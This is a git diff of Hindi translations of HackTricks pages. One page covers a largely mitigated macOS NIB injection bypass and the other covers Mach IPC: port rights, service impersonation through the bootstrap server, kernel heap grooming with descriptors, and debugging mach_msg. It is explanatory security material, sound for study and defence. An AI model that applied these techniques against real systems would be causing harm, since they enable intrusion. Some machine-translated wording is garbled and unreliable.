-- लॉन्च प्रतिबंध ऐप के अप्रत्याशित स्थानों (जैसे, `/tmp`) से निष्पादन में बाधा डालते हैं।
-- यह पहचानना संभव है कि कौन से ऐप लॉन्च प्रतिबंधों से सुरक्षित नहीं हैं और उन्हें NIB फ़ाइल इंजेक्शन के लिए लक्षित करें।
+- लॉन्च प्रतिबंध ऐप के निष्पादन को अप्रत्याशित स्थानों (जैसे, `/tmp`) से रोकते हैं।
+- यह पहचानना संभव है कि कौन से ऐप्स लॉन्च प्रतिबंधों से सुरक्षित नहीं हैं और उन्हें NIB फ़ाइल इंजेक्शन के लिए लक्षित किया जा सकता है।
### अतिरिक्त macOS सुरक्षा
@@ -65,9 +65,9 @@ macOS Sonoma से आगे, ऐप बंडल के अंदर संश
1. ऐप को एक अलग स्थान (जैसे, `/tmp/`) में कॉपी करना।
2. प्रारंभिक सुरक्षा को बायपास करने के लिए ऐप बंडल के भीतर निर्देशिकाओं का नाम बदलना।
-3. गेटकीपर के साथ पंजीकरण करने के लिए ऐप चलाने के बाद, ऐप बंडल में संशोधन करना (जैसे, MainMenu.nib को Dirty.nib से बदलना)।
+3. Gatekeeper के साथ पंजीकरण करने के लिए ऐप चलाने के बाद, ऐप बंडल में संशोधन करना (जैसे, MainMenu.nib को Dirty.nib से बदलना)।
4. निर्देशिकाओं का नाम वापस बदलना और इंजेक्ट की गई NIB फ़ाइल को निष्पादित करने के लिए ऐप को फिर से चलाना।
-**नोट**: हाल के macOS अपडेट ने गेटकीपर कैशिंग के बाद ऐप बंडल के भीतर फ़ाइल संशोधनों को रोककर इस शोषण को कम कर दिया है, जिससे यह शोषण अप्रभावी हो गया है।
+**नोट**: हाल के macOS अपडेट ने Gatekeeper कैशिंग के बाद ऐप बंडल के भीतर फ़ाइल संशोधनों को रोककर इस शोषण को कम कर दिया है, जिससे यह शोषण अप्रभावी हो गया है।
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
index e30f612e3..39940a45a 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
@@ -1,80 +1,80 @@
-# macOS IPC - इंटर प्रोसेस संचार
+# macOS IPC - Inter Process Communication
{{#include ../../../../banners/hacktricks-training.md}}
-## मच संदेश भेजना पोर्ट्स के माध्यम से
+## Mach messaging via Ports
-### बुनियादी जानकारी
+### Basic Information
-मच **कार्य** को संसाधनों को साझा करने के लिए **सबसे छोटे इकाई** के रूप में उपयोग करता है, और प्रत्येक कार्य में **कई थ्रेड** हो सकते हैं। ये **कार्य और थ्रेड 1:1 के अनुपात में POSIX प्रक्रियाओं और थ्रेड्स से मैप होते हैं**।
+Mach **कार्य** को संसाधनों को साझा करने के लिए **सबसे छोटे इकाई** के रूप में उपयोग करता है, और प्रत्येक कार्य में **कई थ्रेड** हो सकते हैं। ये **कार्य और थ्रेड POSIX प्रक्रियाओं और थ्रेड्स के लिए 1:1 मैप किए जाते हैं**।
-कार्य के बीच संचार मच इंटर-प्रोसेस संचार (IPC) के माध्यम से होता है, जो एकतरफा संचार चैनलों का उपयोग करता है। **संदेश पोर्ट्स के बीच स्थानांतरित होते हैं**, जो कर्नेल द्वारा प्रबंधित **संदेश कतारों** के रूप में कार्य करते हैं।
+कार्य के बीच संचार Mach इंटर-प्रोसेस संचार (IPC) के माध्यम से होता है, जो एकतरफा संचार चैनलों का उपयोग करता है। **संदेश पोर्ट के बीच स्थानांतरित होते हैं**, जो कर्नेल द्वारा प्रबंधित **संदेश कतारों** के रूप में कार्य करते हैं।
-एक **पोर्ट** मच IPC का **बुनियादी** तत्व है। इसका उपयोग **संदेश भेजने और प्राप्त करने** के लिए किया जा सकता है।
+एक **पोर्ट** Mach IPC का **बुनियादी** तत्व है। इसका उपयोग **संदेश भेजने और प्राप्त करने** के लिए किया जा सकता है।
-प्रत्येक प्रक्रिया के पास एक **IPC तालिका** होती है, जिसमें प्रक्रिया के **मच पोर्ट्स** मिल सकते हैं। एक मच पोर्ट का नाम वास्तव में एक संख्या है (कर्नेल ऑब्जेक्ट के लिए एक पॉइंटर)।
+प्रत्येक प्रक्रिया में एक **IPC तालिका** होती है, जिसमें प्रक्रिया के **mach पोर्ट** पाए जा सकते हैं। एक mach पोर्ट का नाम वास्तव में एक संख्या है (कर्नेल ऑब्जेक्ट के लिए एक पॉइंटर)।
-एक प्रक्रिया किसी अन्य कार्य को कुछ अधिकारों के साथ एक पोर्ट नाम भी भेज सकती है और कर्नेल इस प्रविष्टि को **दूसरे कार्य की IPC तालिका** में प्रदर्शित करेगा।
+एक प्रक्रिया एक पोर्ट नाम कुछ अधिकारों के साथ **एक अलग कार्य** को भी भेज सकती है और कर्नेल इस प्रविष्टि को **दूसरे कार्य की IPC तालिका** में प्रदर्शित करेगा।
-### पोर्ट अधिकार
+### Port Rights
-पोर्ट अधिकार, जो यह परिभाषित करते हैं कि एक कार्य कौन से संचालन कर सकता है, इस संचार के लिए कुंजी हैं। संभावित **पोर्ट अधिकार** हैं ([यहां से परिभाषाएँ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
+पोर्ट अधिकार, जो यह परिभाषित करते हैं कि एक कार्य कौन से संचालन कर सकता है, इस संचार के लिए कुंजी हैं। संभावित **पोर्ट अधिकार** हैं ([definitions from here](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
-- **प्राप्ति अधिकार**, जो पोर्ट पर भेजे गए संदेशों को प्राप्त करने की अनुमति देता है। मच पोर्ट्स MPSC (कई उत्पादक, एक उपभोक्ता) कतारें हैं, जिसका अर्थ है कि पूरे सिस्टम में **प्रत्येक पोर्ट के लिए केवल एक प्राप्ति अधिकार** हो सकता है (पाइप के विपरीत, जहां कई प्रक्रियाएं एक पाइप के पढ़ने के अंत के लिए फ़ाइल वर्णनकर्ता रख सकती हैं)।
-- एक **प्राप्ति अधिकार वाला कार्य** संदेश प्राप्त कर सकता है और **भेजने के अधिकार** बना सकता है, जिससे इसे संदेश भेजने की अनुमति मिलती है। मूल रूप से केवल **स्वयं का कार्य अपने पोर्ट पर प्राप्ति अधिकार रखता है**।
+- **प्राप्ति अधिकार**, जो पोर्ट पर भेजे गए संदेशों को प्राप्त करने की अनुमति देता है। Mach पोर्ट MPSC (multiple-producer, single-consumer) कतारें हैं, जिसका अर्थ है कि पूरे सिस्टम में **प्रत्येक पोर्ट के लिए केवल एक प्राप्ति अधिकार** हो सकता है (पाइप के विपरीत, जहां कई प्रक्रियाएं एक पाइप के पढ़ने के अंत के लिए फ़ाइल वर्णनकर्ता रख सकती हैं)।
+- एक **कार्य जिसमें प्राप्ति** अधिकार है, संदेश प्राप्त कर सकता है और **भेजने के अधिकार** बना सकता है, जिससे यह संदेश भेजने की अनुमति देता है। मूल रूप से केवल **स्वयं का कार्य अपने पोर्ट पर प्राप्ति अधिकार रखता है**।
- यदि प्राप्ति अधिकार का मालिक **मर जाता है** या इसे मार देता है, तो **भेजने का अधिकार बेकार हो जाता है (मृत नाम)**।
- **भेजने का अधिकार**, जो पोर्ट पर संदेश भेजने की अनुमति देता है।
-- भेजने का अधिकार **क्लोन** किया जा सकता है, इसलिए एक कार्य जो भेजने का अधिकार रखता है, अधिकार को क्लोन कर सकता है और **इसे एक तीसरे कार्य को दे सकता है**।
-- ध्यान दें कि **पोर्ट अधिकार** को मच संदेशों के माध्यम से भी **बीतित** किया जा सकता है।
+- भेजने का अधिकार **क्लोन** किया जा सकता है, इसलिए एक कार्य जो भेजने का अधिकार रखता है, अधिकार को क्लोन कर सकता है और **इसे तीसरे कार्य को दे सकता है**।
+- ध्यान दें कि **पोर्ट अधिकार** को Mac संदेशों के माध्यम से भी **बीतित** किया जा सकता है।
- **एक बार भेजने का अधिकार**, जो पोर्ट पर एक संदेश भेजने की अनुमति देता है और फिर गायब हो जाता है।
- यह अधिकार **क्लोन** नहीं किया जा सकता, लेकिन इसे **स्थानांतरित** किया जा सकता है।
-- **पोर्ट सेट अधिकार**, जो एक _पोर्ट सेट_ को दर्शाता है न कि एकल पोर्ट। एक पोर्ट सेट से संदेश को डीक्यू करने का अर्थ है कि यह उस पोर्ट में से एक संदेश को डीक्यू करता है जो इसे शामिल करता है। पोर्ट सेट का उपयोग एक साथ कई पोर्ट पर सुनने के लिए किया जा सकता है, जैसे कि Unix में `select`/`poll`/`epoll`/`kqueue`।
-- **मृत नाम**, जो वास्तव में एक वास्तविक पोर्ट अधिकार नहीं है, बल्कि केवल एक प्लेसहोल्डर है। जब एक पोर्ट नष्ट हो जाता है, तो पोर्ट के लिए सभी मौजूदा पोर्ट अधिकार मृत नामों में बदल जाते हैं।
+- **पोर्ट सेट अधिकार**, जो एक _पोर्ट सेट_ को दर्शाता है न कि एकल पोर्ट। एक पोर्ट सेट से संदेश को डीक्यू करने से उस पोर्ट में से एक संदेश डीक्यू होता है। पोर्ट सेट का उपयोग एक साथ कई पोर्ट पर सुनने के लिए किया जा सकता है, जैसे कि Unix में `select`/`poll`/`epoll`/`kqueue`।
+- **मृत नाम**, जो वास्तव में एक पोर्ट अधिकार नहीं है, बल्कि केवल एक प्लेसहोल्डर है। जब एक पोर्ट नष्ट होता है, तो पोर्ट के लिए सभी मौजूदा पोर्ट अधिकार मृत नामों में बदल जाते हैं।
-**कार्य SEND अधिकारों को दूसरों को स्थानांतरित कर सकते हैं**, जिससे उन्हें वापस संदेश भेजने की अनुमति मिलती है। **SEND अधिकारों को भी क्लोन किया जा सकता है, इसलिए एक कार्य डुप्लिकेट कर सकता है और अधिकार को एक तीसरे कार्य को दे सकता है**। यह, एक मध्यवर्ती प्रक्रिया के साथ मिलकर जिसे **बूटस्ट्रैप सर्वर** कहा जाता है, कार्यों के बीच प्रभावी संचार की अनुमति देता है।
+**कार्य दूसरों को भेजने के अधिकार स्थानांतरित कर सकते हैं**, जिससे उन्हें वापस संदेश भेजने की अनुमति मिलती है। **भेजने के अधिकार को भी क्लोन किया जा सकता है, इसलिए एक कार्य इसे डुप्लिकेट कर सकता है और तीसरे कार्य को अधिकार दे सकता है**। यह, एक मध्यवर्ती प्रक्रिया जिसे **बूटस्ट्रैप सर्वर** के रूप में जाना जाता है, कार्यों के बीच प्रभावी संचार की अनुमति देता है।
-### फ़ाइल पोर्ट्स
+### File Ports
-फ़ाइल पोर्ट्स मैक पोर्ट्स में फ़ाइल वर्णनकर्ताओं को संलग्न करने की अनुमति देते हैं (मच पोर्ट अधिकारों का उपयोग करते हुए)। एक दिए गए FD से `fileport_makeport` का उपयोग करके एक `fileport` बनाना संभव है और एक फ़ाइलपोर्ट से FD बनाने के लिए `fileport_makefd` का उपयोग करना संभव है।
+फाइल पोर्ट Mac पोर्ट्स में फ़ाइल वर्णनकर्ताओं को संलग्न करने की अनुमति देते हैं (Mach पोर्ट अधिकारों का उपयोग करते हुए)। एक दिए गए FD से `fileport_makeport` का उपयोग करके `fileport` बनाना संभव है और एक fileport से FD बनाना `fileport_makefd` का उपयोग करके संभव है।
-### संचार स्थापित करना
+### Establishing a communication
-जैसा कि पहले उल्लेख किया गया है, मच संदेशों का उपयोग करके अधिकार भेजना संभव है, हालाँकि, आप **बिना पहले से अधिकार के मच संदेश भेज नहीं सकते**। तो, पहला संचार कैसे स्थापित किया जाता है?
+जैसा कि पहले उल्लेख किया गया है, Mach संदेशों का उपयोग करके अधिकार भेजना संभव है, हालाँकि, आप **एक अधिकार को भेज नहीं सकते बिना पहले से एक अधिकार के** Mach संदेश भेजने के लिए। तो, पहला संचार कैसे स्थापित किया जाता है?
-इसके लिए, **बूटस्ट्रैप सर्वर** (**launchd** मैक में) शामिल होता है, क्योंकि **हर कोई बूटस्ट्रैप सर्वर को SEND अधिकार प्राप्त कर सकता है**, यह किसी अन्य प्रक्रिया को संदेश भेजने के लिए अधिकार मांगने की अनुमति देता है:
+इसके लिए, **बूटस्ट्रैप सर्वर** (**launchd** in mac) शामिल है, क्योंकि **हर कोई बूटस्ट्रैप सर्वर को भेजने का अधिकार प्राप्त कर सकता है**, यह संभव है कि इसे किसी अन्य प्रक्रिया को संदेश भेजने के लिए अधिकार मांगा जाए:
1. कार्य **A** एक **नया पोर्ट** बनाता है, उस पर **प्राप्ति अधिकार** प्राप्त करता है।
-2. कार्य **A**, जो प्राप्ति अधिकार का धारक है, **पोर्ट के लिए एक SEND अधिकार उत्पन्न करता है**।
-3. कार्य **A** **बूटस्ट्रैप सर्वर** के साथ एक **संयोग** स्थापित करता है, और **उसे पोर्ट के लिए SEND अधिकार भेजता है** जिसे उसने शुरुआत में उत्पन्न किया था।
-- याद रखें कि कोई भी बूटस्ट्रैप सर्वर को SEND अधिकार प्राप्त कर सकता है।
+2. कार्य **A**, जो प्राप्ति अधिकार का धारक है, **पोर्ट के लिए एक भेजने का अधिकार उत्पन्न करता है**।
+3. कार्य **A** **बूटस्ट्रैप सर्वर** के साथ एक **संयोग** स्थापित करता है, और **उसे भेजने का अधिकार** भेजता है जो उसने शुरुआत में उत्पन्न किया था।
+- याद रखें कि कोई भी बूटस्ट्रैप सर्वर को भेजने का अधिकार प्राप्त कर सकता है।
4. कार्य A बूटस्ट्रैप सर्वर को एक `bootstrap_register` संदेश भेजता है ताकि **दिए गए पोर्ट को एक नाम से जोड़ सके** जैसे `com.apple.taska`
-5. कार्य **B** बूटस्ट्रैप सर्वर के साथ बातचीत करता है ताकि सेवा नाम के लिए बूटस्ट्रैप **लुकअप** कर सके (`bootstrap_lookup`)। ताकि बूटस्ट्रैप सर्वर प्रतिक्रिया दे सके, कार्य B इसे एक **SEND अधिकार** भेजेगा जो उसने पहले लुकअप संदेश के भीतर बनाया था। यदि लुकअप सफल होता है, तो **सर्वर SEND अधिकार को डुप्लिकेट करता है** जो कार्य A से प्राप्त हुआ था और **इसे कार्य B को संप्रेषित करता है**।
-- याद रखें कि कोई भी बूटस्ट्रैप सर्वर को SEND अधिकार प्राप्त कर सकता है।
-6. इस SEND अधिकार के साथ, **कार्य B** **कार्य A** को **संदेश भेजने में सक्षम है**।
-7. द्विदिश संचार के लिए आमतौर पर कार्य **B** एक **प्राप्ति** अधिकार और एक **SEND** अधिकार के साथ एक नया पोर्ट उत्पन्न करता है, और **SEND अधिकार कार्य A को देता है** ताकि वह कार्य B को संदेश भेज सके (द्विदिश संचार)।
+5. कार्य **B** बूटस्ट्रैप सर्वर के साथ बातचीत करता है ताकि **सेवा** नाम के लिए बूटस्ट्रैप **लुकअप** कर सके (`bootstrap_lookup`)। ताकि बूटस्ट्रैप सर्वर प्रतिक्रिया दे सके, कार्य B इसे एक **पोर्ट के लिए भेजने का अधिकार** भेजेगा जो उसने पहले लुकअप संदेश के भीतर बनाया था। यदि लुकअप सफल होता है, तो **सर्वर भेजने के अधिकार को डुप्लिकेट करता है** जो कार्य A से प्राप्त हुआ और **इसे कार्य B को संप्रेषित करता है**।
+- याद रखें कि कोई भी बूटस्ट्रैप सर्वर को भेजने का अधिकार प्राप्त कर सकता है।
+6. इस भेजने के अधिकार के साथ, **कार्य B** **संदेश भेजने में सक्षम है** **कार्य A** को।
+7. द्विदिश संचार के लिए आमतौर पर कार्य **B** एक **प्राप्ति** अधिकार और एक **भेजने** का अधिकार के साथ एक नया पोर्ट उत्पन्न करता है, और **भेजने का अधिकार कार्य A को देता है** ताकि वह कार्य B को संदेश भेज सके (द्विदिश संचार)।
-बूटस्ट्रैप सर्वर **सेवा नाम** का प्रमाणीकरण नहीं कर सकता जो एक कार्य द्वारा दावा किया गया है। इसका अर्थ है कि एक **कार्य** संभावित रूप से **किसी भी सिस्टम कार्य का अनुकरण** कर सकता है, जैसे कि झूठा **प्राधिकरण सेवा नाम का दावा करना** और फिर हर अनुरोध को मंजूरी देना।
+बूटस्ट्रैप सर्वर **सेवा नाम** का प्रमाणीकरण नहीं कर सकता जो एक कार्य द्वारा दावा किया गया है। इसका मतलब है कि एक **कार्य** संभावित रूप से **किसी भी सिस्टम कार्य का अनुकरण कर सकता है**, जैसे कि झूठा **प्राधिकरण सेवा नाम का दावा करना** और फिर हर अनुरोध को मंजूरी देना।
-फिर, Apple **सिस्टम-प्रदत्त सेवाओं के नाम** को सुरक्षित कॉन्फ़िगरेशन फ़ाइलों में संग्रहीत करता है, जो **SIP-सुरक्षित** निर्देशिकाओं में स्थित हैं: `/System/Library/LaunchDaemons` और `/System/Library/LaunchAgents`। प्रत्येक सेवा नाम के साथ, **संबंधित बाइनरी भी संग्रहीत होती है**। बूटस्ट्रैप सर्वर, इन सेवा नामों के लिए एक **प्राप्ति अधिकार बनाएगा और रखेगा**।
+फिर, Apple **सिस्टम-प्रदत्त सेवाओं के नाम** को सुरक्षित कॉन्फ़िगरेशन फ़ाइलों में संग्रहीत करता है, जो **SIP-सुरक्षित** निर्देशिकाओं में स्थित हैं: `/System/Library/LaunchDaemons` और `/System/Library/LaunchAgents`। प्रत्येक सेवा नाम के साथ, **संबंधित बाइनरी भी संग्रहीत होती है**। बूटस्ट्रैप सर्वर, इन सेवा नामों में से प्रत्येक के लिए एक **प्राप्ति अधिकार** बनाएगा और रखेगा।
इन पूर्वनिर्धारित सेवाओं के लिए, **लुकअप प्रक्रिया थोड़ी भिन्न होती है**। जब एक सेवा नाम की खोज की जा रही होती है, तो launchd सेवा को गतिशील रूप से शुरू करता है। नया कार्यप्रवाह इस प्रकार है:
- कार्य **B** एक सेवा नाम के लिए बूटस्ट्रैप **लुकअप** शुरू करता है।
- **launchd** जांचता है कि कार्य चल रहा है और यदि नहीं है, तो **इसे शुरू करता है**।
-- कार्य **A** (सेवा) एक **बूटस्ट्रैप चेक-इन** (`bootstrap_check_in()`) करता है। यहाँ, **बूटस्ट्रैप** सर्वर एक SEND अधिकार बनाता है, इसे रखता है, और **प्राप्ति अधिकार कार्य A को स्थानांतरित करता है**।
-- launchd **SEND अधिकार को डुप्लिकेट करता है और इसे कार्य B को भेजता है**।
-- कार्य **B** एक नया पोर्ट उत्पन्न करता है जिसमें एक **प्राप्ति** अधिकार और एक **SEND** अधिकार होता है, और **SEND अधिकार कार्य A को देता है** (सेवा) ताकि वह कार्य B को संदेश भेज सके (द्विदिश संचार)।
+- कार्य **A** (सेवा) एक **बूटस्ट्रैप चेक-इन** (`bootstrap_check_in()`) करता है। यहाँ, **बूटस्ट्रैप** सर्वर एक भेजने का अधिकार बनाता है, इसे रखता है, और **प्राप्ति अधिकार कार्य A को स्थानांतरित करता है**।
+- launchd **भेजने के अधिकार को डुप्लिकेट करता है और इसे कार्य B को भेजता है**।
+- कार्य **B** एक नया पोर्ट उत्पन्न करता है जिसमें एक **प्राप्ति** अधिकार और एक **भेजने** का अधिकार होता है, और **भेजने का अधिकार कार्य A** (सेवा) को देता है ताकि वह कार्य B को संदेश भेज सके (द्विदिश संचार)।
-हालांकि, यह प्रक्रिया केवल पूर्वनिर्धारित सिस्टम कार्यों पर लागू होती है। गैर-प्रणाली कार्य अभी भी मूल रूप से वर्णित तरीके से कार्य करते हैं, जो अनुकरण की अनुमति दे सकता है।
+हालांकि, यह प्रक्रिया केवल पूर्वनिर्धारित सिस्टम कार्यों पर लागू होती है। गैर-प्रणाली कार्य अभी भी मूल रूप से वर्णित तरीके से कार्य करते हैं, जो संभावित रूप से अनुकरण की अनुमति दे सकता है।
> [!CAUTION]
> इसलिए, launchd कभी भी क्रैश नहीं होना चाहिए या पूरा सिस्टम क्रैश हो जाएगा।
-### एक मच संदेश
+### A Mach Message
-[यहां अधिक जानकारी प्राप्त करें](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
+[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
-`mach_msg` फ़ंक्शन, जो मूल रूप से एक सिस्टम कॉल है, मच संदेश भेजने और प्राप्त करने के लिए उपयोग किया जाता है। फ़ंक्शन को भेजे जाने वाले संदेश को प्रारंभिक तर्क के रूप में आवश्यक है। यह संदेश `mach_msg_header_t` संरचना के साथ शुरू होना चाहिए, इसके बाद वास्तविक संदेश सामग्री होती है। संरचना को इस प्रकार परिभाषित किया गया है:
+`mach_msg` फ़ंक्शन, जो मूल रूप से एक सिस्टम कॉल है, Mach संदेश भेजने और प्राप्त करने के लिए उपयोग किया जाता है। फ़ंक्शन को भेजे जाने वाले संदेश को प्रारंभिक तर्क के रूप में आवश्यक है। यह संदेश `mach_msg_header_t` संरचना के साथ शुरू होना चाहिए, इसके बाद वास्तविक संदेश सामग्री होती है। संरचना को इस प्रकार परिभाषित किया गया है:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
@@ -123,15 +123,15 @@ voucher, स्थानीय और दूरस्थ पोर्ट मे
- `msgh_id`: इस संदेश की ID, जिसे प्राप्तकर्ता द्वारा व्याख्यायित किया जाता है।
> [!CAUTION]
-> ध्यान दें कि **mach messages एक `mach port` के माध्यम से भेजे जाते हैं**, जो एक **एकल प्राप्तकर्ता**, **कई प्रेषक** संचार चैनल है जो mach कर्नेल में निर्मित है। **कई प्रक्रियाएँ** एक mach port पर **संदेश भेज सकती हैं**, लेकिन किसी भी समय केवल **एकल प्रक्रिया ही पढ़ सकती है**।
+> ध्यान दें कि **mach messages को `mach port` के माध्यम से भेजा जाता है**, जो एक **एकल प्राप्तकर्ता**, **कई प्रेषक** संचार चैनल है जो mach kernel में निर्मित है। **कई प्रक्रियाएँ** एक mach port पर **संदेश भेज सकती हैं**, लेकिन किसी भी समय केवल **एकल प्रक्रिया ही पढ़ सकती है**।
-संदेश फिर **`mach_msg_header_t`** हेडर द्वारा निर्मित होते हैं, इसके बाद **body** और **trailer** (यदि कोई हो) होता है और यह उत्तर देने की अनुमति दे सकता है। इन मामलों में, कर्नेल को केवल एक कार्य से दूसरे कार्य में संदेश को पास करने की आवश्यकता होती है।
+संदेश फिर **`mach_msg_header_t`** हेडर द्वारा निर्मित होते हैं, इसके बाद **body** और **trailer** (यदि कोई हो) होता है और यह उत्तर देने की अनुमति दे सकता है। इन मामलों में, kernel को केवल एक कार्य से दूसरे कार्य में संदेश को पास करने की आवश्यकता होती है।
-एक **trailer** **कर्नेल द्वारा संदेश में जोड़ी गई जानकारी** है (उपयोगकर्ता द्वारा सेट नहीं की जा सकती) जिसे संदेश प्राप्ति में `MACH_RCV_TRAILER_` फ्लैग के साथ अनुरोध किया जा सकता है (विभिन्न जानकारी अनुरोध की जा सकती है)।
+एक **trailer** **kernel द्वारा संदेश में जोड़ी गई जानकारी** है (उपयोगकर्ता द्वारा सेट नहीं की जा सकती) जिसे संदेश प्राप्ति में `MACH_RCV_TRAILER_` फ्लैग के साथ अनुरोध किया जा सकता है (विभिन्न जानकारी अनुरोध की जा सकती है)।
-#### जटिल संदेश
+#### Complex Messages
-हालांकि, अन्य अधिक **जटिल** संदेश हैं, जैसे अतिरिक्त पोर्ट अधिकारों को पास करने या मेमोरी साझा करने वाले, जहाँ कर्नेल को भी इन वस्तुओं को प्राप्तकर्ता को भेजने की आवश्यकता होती है। इन मामलों में, हेडर `msgh_bits` का सबसे महत्वपूर्ण बिट सेट होता है।
+हालांकि, अन्य अधिक **complex** संदेश हैं, जैसे अतिरिक्त पोर्ट अधिकारों को पास करने या मेमोरी साझा करने वाले, जहाँ kernel को भी इन वस्तुओं को प्राप्तकर्ता को भेजने की आवश्यकता होती है। इन मामलों में, हेडर `msgh_bits` का सबसे महत्वपूर्ण बिट सेट किया जाता है।
पास करने के लिए संभावित वर्णनकर्ताओं को [**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) में परिभाषित किया गया है:
```c
@@ -150,31 +150,31 @@ unsigned int pad3 : 24;
mach_msg_descriptor_type_t type : 8;
} mach_msg_type_descriptor_t;
```
-In 32बिट्स में, सभी विवरण 12B होते हैं और विवरण प्रकार 11वें में होता है। 64 बिट्स में, आकार भिन्न होते हैं।
+In 32बिट्स में, सभी डिस्क्रिप्टर्स 12B होते हैं और डिस्क्रिप्टर प्रकार 11वें में होता है। 64 बिट्स में, आकार भिन्न होते हैं।
> [!CAUTION]
-> कर्नेल एक कार्य से दूसरे कार्य में विवरणों की कॉपी करेगा लेकिन पहले **कर्नेल मेमोरी में एक कॉपी बनाएगा**। इस तकनीक को "फेंग शुई" के रूप में जाना जाता है और इसे कई शोषणों में **कर्नेल को अपनी मेमोरी में डेटा कॉपी करने** के लिए दुरुपयोग किया गया है जिससे एक प्रक्रिया अपने लिए विवरण भेजती है। फिर प्रक्रिया संदेश प्राप्त कर सकती है (कर्नेल उन्हें मुक्त करेगा)।
+> कर्नेल एक कार्य से दूसरे कार्य में डिस्क्रिप्टर्स की कॉपी करेगा लेकिन पहले **कर्नेल मेमोरी में एक कॉपी बनाएगा**। इस तकनीक को "Feng Shui" के रूप में जाना जाता है और इसे कई एक्सप्लॉइट्स में **कर्नेल को अपनी मेमोरी में डेटा कॉपी करने** के लिए दुरुपयोग किया गया है, जिससे एक प्रक्रिया अपने लिए डिस्क्रिप्टर्स भेज सकती है। फिर प्रक्रिया संदेश प्राप्त कर सकती है (कर्नेल उन्हें मुक्त कर देगा)।
>
-> यह भी संभव है कि **एक कमजोर प्रक्रिया को पोर्ट अधिकार भेजें**, और पोर्ट अधिकार बस प्रक्रिया में दिखाई देंगे (भले ही वह उन्हें संभाल नहीं रही हो)।
+> यह भी संभव है कि **एक कमजोर प्रक्रिया को पोर्ट अधिकार भेजे जाएं**, और पोर्ट अधिकार बस प्रक्रिया में दिखाई देंगे (भले ही वह उन्हें संभाल नहीं रही हो)।
-### मैक पोर्ट्स एपीआई
+### Mac Ports APIs
ध्यान दें कि पोर्ट कार्य नामस्थान से जुड़े होते हैं, इसलिए एक पोर्ट बनाने या खोजने के लिए, कार्य नामस्थान को भी क्वेरी किया जाता है (अधिक जानकारी के लिए `mach/mach_port.h`):
- **`mach_port_allocate` | `mach_port_construct`**: **एक पोर्ट बनाएँ**।
-- `mach_port_allocate` एक **पोर्ट सेट** भी बना सकता है: पोर्ट्स के समूह पर प्राप्त अधिकार। जब भी एक संदेश प्राप्त होता है, यह इंगित किया जाता है कि यह किस पोर्ट से था।
+- `mach_port_allocate` एक **पोर्ट सेट** भी बना सकता है: पोर्ट्स के एक समूह पर प्राप्त अधिकार। जब भी एक संदेश प्राप्त होता है, यह इंगित करता है कि यह किस पोर्ट से था।
- `mach_port_allocate_name`: पोर्ट का नाम बदलें (डिफ़ॉल्ट 32बिट पूर्णांक)
- `mach_port_names`: एक लक्ष्य से पोर्ट नाम प्राप्त करें
- `mach_port_type`: एक नाम पर कार्य के अधिकार प्राप्त करें
-- `mach_port_rename`: एक पोर्ट का नाम बदलें (FDs के लिए dup2 की तरह)
+- `mach_port_rename`: एक पोर्ट का नाम बदलें (जैसे FDs के लिए dup2)
- `mach_port_allocate`: एक नया RECEIVE, PORT_SET या DEAD_NAME आवंटित करें
-- `mach_port_insert_right`: एक पोर्ट में एक नया अधिकार बनाएं जहां आपके पास RECEIVE है
+- `mach_port_insert_right`: एक पोर्ट में एक नया अधिकार बनाएँ जहाँ आपके पास RECEIVE है
- `mach_port_...`
-- **`mach_msg`** | **`mach_msg_overwrite`**: **मच संदेश भेजने और प्राप्त करने** के लिए उपयोग की जाने वाली फ़ंक्शन। ओवरराइट संस्करण संदेश प्राप्ति के लिए एक अलग बफर निर्दिष्ट करने की अनुमति देता है (दूसरा संस्करण बस इसका पुन: उपयोग करेगा)।
+- **`mach_msg`** | **`mach_msg_overwrite`**: **mach संदेश भेजने और प्राप्त करने** के लिए उपयोग की जाने वाली फ़ंक्शन। ओवरराइट संस्करण संदेश प्राप्ति के लिए एक अलग बफर निर्दिष्ट करने की अनुमति देता है (दूसरा संस्करण बस इसका पुन: उपयोग करेगा)।
-### डिबग mach_msg
+### Debug mach_msg
-चूंकि फ़ंक्शन **`mach_msg`** और **`mach_msg_overwrite`** संदेश भेजने और प्राप्त करने के लिए उपयोग किए जाते हैं, इसलिए उन पर एक ब्रेकपॉइंट सेट करने से भेजे गए और प्राप्त संदेशों का निरीक्षण करने की अनुमति मिलेगी।
+चूंकि फ़ंक्शन **`mach_msg`** और **`mach_msg_overwrite`** उन फ़ंक्शंस में से हैं जो संदेश भेजने और प्राप्त करने के लिए उपयोग किए जाते हैं, उन पर एक ब्रेकपॉइंट सेट करने से भेजे गए और प्राप्त किए गए संदेशों का निरीक्षण करने की अनुमति मिलेगी।
उदाहरण के लिए, किसी भी एप्लिकेशन को डिबग करना शुरू करें जिसे आप डिबग कर सकते हैं क्योंकि यह **`libSystem.B` लोड करेगा जो इस फ़ंक्शन का उपयोग करेगा**।
@@ -186,10 +186,10 @@ Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
--> 0x181d3ac20 <+0>: pacibsp
-0x181d3ac24 <+4>: sub sp, sp, #0x20
-0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
-0x181d3ac2c <+12>: add x29, sp, #0x10
+-> 0x181d3ac20 <+0>: pacibsp
+0x181d3ac24 <+4>: sub sp, sp, #0x20
+0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
+0x181d3ac2c <+12>: add x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
